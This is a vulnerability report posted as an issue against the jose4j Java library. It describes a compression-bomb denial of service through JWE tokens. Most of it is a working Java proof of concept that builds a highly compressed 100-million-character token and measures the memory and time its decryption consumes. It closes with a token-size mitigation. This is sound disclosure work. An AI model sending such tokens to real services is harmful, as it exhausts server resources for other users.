[Vuln] ZIP bomb Attack

Issue #220 closed
Jesse Yang created an issue

0x01 Affected version

vendor: https://bitbucket.org/b_c/jose4j/

version: Versions prior to v0.9.5 are vulnerable.

0x02 What kind of vulnerability is it? Who is impacted?

This vulnerability allows an attacker to cause a Denial-of-Service (DoS) condition by crafting a malicious JSON Web Encryption (JWE) token with an exceptionally high compression ratio. When this token is processed by the server, it results in significant memory allocation and processing time during decompression.

0x03 Vulnerability details

The Proof of Concept (PoC) below demonstrates how this vulnerability can lead to a DoS attack:

import io.jsonwebtoken.Jwts;
import org.jose4j.jwa.AlgorithmConstraints;
import org.jose4j.jwe.ContentEncryptionAlgorithmIdentifiers;
import org.jose4j.jwe.JsonWebEncryption;
import org.jose4j.jwe.KeyManagementAlgorithmIdentifiers;
import org.jose4j.jwk.JsonWebKey;


import javax.crypto.SecretKey;
import java.io.*;
import java.lang.management.ManagementFactory;
import java.lang.management.MemoryMXBean;
import java.lang.management.MemoryUsage;

public class jwt {
    public static void GenerateCompress()throws Exception {
        String message = "a".repeat(100000000);
        String jwkJson = "{\"kty\":\"oct\",\"k\":\"aaaaaaaaaaaaaaaaaaaaaa\"}";
        JsonWebKey jwk = JsonWebKey.Factory.newJwk(jwkJson);
        JsonWebEncryption senderJwe = new JsonWebEncryption();
        senderJwe.setPlaintext(message);
        senderJwe.setAlgorithmHeaderValue(KeyManagementAlgorithmIdentifiers.A128GCMKW);
        senderJwe.setEncryptionMethodHeaderParameter(ContentEncryptionAlgorithmIdentifiers.AES_128_CBC_HMAC_SHA_256);
        senderJwe.setKey(jwk.getKey());
        senderJwe.setCompressionAlgorithmHeaderParameter("DEF");
        String compactSerialization = senderJwe.getCompactSerialization();

        File file = new File("./compress.txt");
        FileWriter fileWriter = new FileWriter(file);
        BufferedWriter writer = new BufferedWriter(fileWriter);
        writer.write(compactSerialization);
        writer.close();
    }
    public static void GenerateUncompress()throws Exception {
        String message = "a".repeat(100000);
        String jwkJson = "{\"kty\":\"oct\",\"k\":\"aaaaaaaaaaaaaaaaaaaaaa\"}";
        JsonWebKey jwk = JsonWebKey.Factory.newJwk(jwkJson);
        JsonWebEncryption senderJwe = new JsonWebEncryption();
        senderJwe.setPlaintext(message);
        senderJwe.setAlgorithmHeaderValue(KeyManagementAlgorithmIdentifiers.A128GCMKW);
        senderJwe.setEncryptionMethodHeaderParameter(ContentEncryptionAlgorithmIdentifiers.AES_128_CBC_HMAC_SHA_256);
        senderJwe.setKey(jwk.getKey());
        String compactSerialization = senderJwe.getCompactSerialization();

        File file = new File("./uncompress.txt");
        FileWriter fileWriter = new FileWriter(file);
        BufferedWriter writer = new BufferedWriter(fileWriter);
        writer.write(compactSerialization);
        writer.close();
    }
    public static void TestCompress()throws Exception{
        String jwkJson = "{\"kty\":\"oct\",\"k\":\"aaaaaaaaaaaaaaaaaaaaaa\"}";
        File file = new File("./compress.txt");
        FileReader fileReader = new FileReader(file);
        BufferedReader reader = new BufferedReader(fileReader);
        String tmp;
        StringBuilder content = new StringBuilder();

        while ((tmp = reader.readLine()) != null) {
            content.append(tmp).append("\n");
        }

        String jwe = content.toString();

        reader.close();

        MemoryMXBean memoryBean = ManagementFactory.getMemoryMXBean();
        memoryBean.setVerbose(true);

        long startTime = System.currentTimeMillis();

        JsonWebEncryption receiverJwe = new JsonWebEncryption();
        JsonWebKey jwk = JsonWebKey.Factory.newJwk(jwkJson);
        AlgorithmConstraints algConstraints = new AlgorithmConstraints(AlgorithmConstraints.ConstraintType.PERMIT, KeyManagementAlgorithmIdentifiers.A128GCMKW);
        receiverJwe.setAlgorithmConstraints(algConstraints);
        AlgorithmConstraints encConstraints = new AlgorithmConstraints(AlgorithmConstraints.ConstraintType.PERMIT, ContentEncryptionAlgorithmIdentifiers.AES_128_CBC_HMAC_SHA_256);
        receiverJwe.setContentEncryptionAlgorithmConstraints(encConstraints);
        receiverJwe.setCompactSerialization(jwe);
        receiverJwe.setKey(jwk.getKey());
        String plaintext = receiverJwe.getPlaintextString();

        long endTime = System.currentTimeMillis();
        long totalTime = endTime - startTime;
        System.out.println("length:" + jwe.length());
        System.out.println("totalTime:" + totalTime + "ms");

        MemoryUsage heapMemoryUsage = memoryBean.getHeapMemoryUsage();
        MemoryUsage nonHeapMemoryUsage = memoryBean.getNonHeapMemoryUsage();
        long usedHeapMemory = heapMemoryUsage.getUsed();
        long maxHeapMemory = heapMemoryUsage.getMax();
        long usedNonHeapMemory = nonHeapMemoryUsage.getUsed();
        long maxNonHeapMemory = nonHeapMemoryUsage.getMax();
        System.out.println("Heap Memory Usage (used/max): " + usedHeapMemory + "/" + maxHeapMemory);
        System.out.println("Non-Heap Memory Usage (used/max): " + usedNonHeapMemory + "/" + maxNonHeapMemory);
    }
    public static void TestUnCompress()throws Exception{
        String jwkJson = "{\"kty\":\"oct\",\"k\":\"aaaaaaaaaaaaaaaaaaaaaa\"}";
        File file = new File("./uncompress.txt");
        FileReader fileReader = new FileReader(file);
        BufferedReader reader = new BufferedReader(fileReader);
        String tmp;
        StringBuilder content = new StringBuilder();

        while ((tmp = reader.readLine()) != null) {
            content.append(tmp).append("\n");
        }

        reader.close();

        String jwe = content.toString();

        MemoryMXBean memoryBean = ManagementFactory.getMemoryMXBean();
        memoryBean.setVerbose(true);

        long startTime = System.currentTimeMillis();

        JsonWebEncryption receiverJwe = new JsonWebEncryption();
        JsonWebKey jwk = JsonWebKey.Factory.newJwk(jwkJson);
        AlgorithmConstraints algConstraints = new AlgorithmConstraints(AlgorithmConstraints.ConstraintType.PERMIT, KeyManagementAlgorithmIdentifiers.A128GCMKW);
        receiverJwe.setAlgorithmConstraints(algConstraints);
        AlgorithmConstraints encConstraints = new AlgorithmConstraints(AlgorithmConstraints.ConstraintType.PERMIT, ContentEncryptionAlgorithmIdentifiers.AES_128_CBC_HMAC_SHA_256);
        receiverJwe.setContentEncryptionAlgorithmConstraints(encConstraints);
        receiverJwe.setCompactSerialization(jwe);
        receiverJwe.setKey(jwk.getKey());
        String plaintext = receiverJwe.getPlaintextString();

        long endTime = System.currentTimeMillis();
        long totalTime = endTime - startTime;
        System.out.println("length:" + jwe.length());
        System.out.println("totalTime:" + totalTime + "ms");

        MemoryUsage heapMemoryUsage = memoryBean.getHeapMemoryUsage();
        MemoryUsage nonHeapMemoryUsage = memoryBean.getNonHeapMemoryUsage();
        long usedHeapMemory = heapMemoryUsage.getUsed();
        long maxHeapMemory = heapMemoryUsage.getMax();
        long usedNonHeapMemory = nonHeapMemoryUsage.getUsed();
        long maxNonHeapMemory = nonHeapMemoryUsage.getMax();
        System.out.println("Heap Memory Usage (used/max): " + usedHeapMemory + "/" + maxHeapMemory);
        System.out.println("Non-Heap Memory Usage (used/max): " + usedNonHeapMemory + "/" + maxNonHeapMemory);
    }
    public static void main(String[] args)throws Exception
    {
//        GenerateCompress();
//        GenerateUncompress();
        TestCompress();
//        TestUnCompress();
    }
}

This vulnerability is demonstrated by comparing the processing times and memory usage of a compressed token to an uncompressed token of the same length. The compressed token's processing time is significantly higher, showcasing the vulnerability's potential impact.

0x04 Mitigation

To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also
been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing
attackers from exploiting this vulnerability with high compression ratio tokens.

0x05 References

[1] CVE-2024-21319

Comments (6)

  1. Brian Campbell repo owner

    Jesse, thanks for raising this and for the detailed explanation and demonstration. I’ll endeavor to get it addressed soon.

  2. Log in to comment